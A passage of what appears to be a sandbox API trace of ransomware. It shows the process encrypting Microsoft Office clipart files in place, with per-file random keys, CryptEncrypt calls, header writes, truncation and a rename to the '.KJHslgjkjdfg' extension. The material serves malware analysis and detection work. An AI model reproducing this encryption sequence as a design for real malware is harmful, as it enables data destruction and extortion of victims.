dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.867] GetProcessHeap () returned 0x990000 [0189.867] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.867] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.867] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.867] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.867] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.867] GetProcessHeap () returned 0x990000 [0189.867] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.867] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.867] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.867] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.869] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.869] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.869] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.869] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.869] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.869] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.869] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1780, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1780, lpOverlapped=0x0) returned 1 [0189.870] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1780, dwBufLen=0x1780 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1780) returned 1 [0189.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.870] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1780, lpOverlapped=0x0) returned 1 [0189.870] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.870] SetEndOfFile (hFile=0x130) returned 1 [0189.872] GetProcessHeap () returned 0x990000 [0189.872] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.872] GetProcessHeap () returned 0x990000 [0189.872] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.kjhslgjkjdfg")) returned 1 [0189.873] CloseHandle (hObject=0x130) returned 1 [0189.873] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90080a00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90080a00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1 [0189.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.874] GetProcessHeap () returned 0x990000 [0189.874] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.874] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.874] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0189.876] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.876] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.876] GetProcessHeap () returned 0x990000 [0189.876] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.876] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.876] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.876] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.876] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.876] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.876] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.877] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.877] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.877] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.877] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1746, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1746, lpOverlapped=0x0) returned 1 [0189.878] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1750, dwBufLen=0x1750 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1750) returned 1 [0189.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.878] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1750, lpOverlapped=0x0) returned 1 [0189.878] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.878] SetEndOfFile (hFile=0x130) returned 1 [0189.880] GetProcessHeap () returned 0x990000 [0189.880] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.880] GetProcessHeap () returned 0x990000 [0189.880] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.880] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.kjhslgjkjdfg")) returned 1 [0189.881] CloseHandle (hObject=0x130) returned 1 [0189.881] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1 [0189.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.882] GetProcessHeap () returned 0x990000 [0189.882] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.882] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.882] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.882] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.882] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.882] GetProcessHeap () returned 0x990000 [0189.882] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.882] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.882] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.882] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.883] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.883] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.883] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.884] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.884] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.884] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.884] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1c80, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1c80, lpOverlapped=0x0) returned 1 [0189.885] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c80, dwBufLen=0x1c80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c80) returned 1 [0189.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.885] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1c80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1c80, lpOverlapped=0x0) returned 1 [0189.885] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.885] SetEndOfFile (hFile=0x130) returned 1 [0189.887] GetProcessHeap () returned 0x990000 [0189.887] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.887] GetProcessHeap () returned 0x990000 [0189.887] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.kjhslgjkjdfg")) returned 1 [0189.888] CloseHandle (hObject=0x130) returned 1 [0189.888] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83101700, ftCreationTime.dwHighDateTime=0x1bd4bdc, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83101700, ftLastWriteTime.dwHighDateTime=0x1bd4bdc, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1 [0189.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.889] GetProcessHeap () returned 0x990000 [0189.889] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.889] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.889] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.889] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0189.983] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.983] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.983] GetProcessHeap () returned 0x990000 [0189.983] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.983] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.983] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.983] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.983] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.983] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.983] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.984] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.984] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.984] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.984] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.984] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.984] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1526, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1526, lpOverlapped=0x0) returned 1 [0189.985] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1530, dwBufLen=0x1530 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1530) returned 1 [0189.985] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.985] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1530, lpOverlapped=0x0) returned 1 [0189.985] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.985] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.985] SetEndOfFile (hFile=0x130) returned 1 [0189.988] GetProcessHeap () returned 0x990000 [0189.988] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.988] GetProcessHeap () returned 0x990000 [0189.988] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.988] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.kjhslgjkjdfg")) returned 1 [0189.990] CloseHandle (hObject=0x130) returned 1 [0189.990] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b938600, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b938600, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1 [0189.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.991] GetProcessHeap () returned 0x990000 [0189.991] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.991] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.991] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.991] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.994] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.994] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.994] GetProcessHeap () returned 0x990000 [0189.994] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.994] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.994] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.994] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.994] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.994] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, 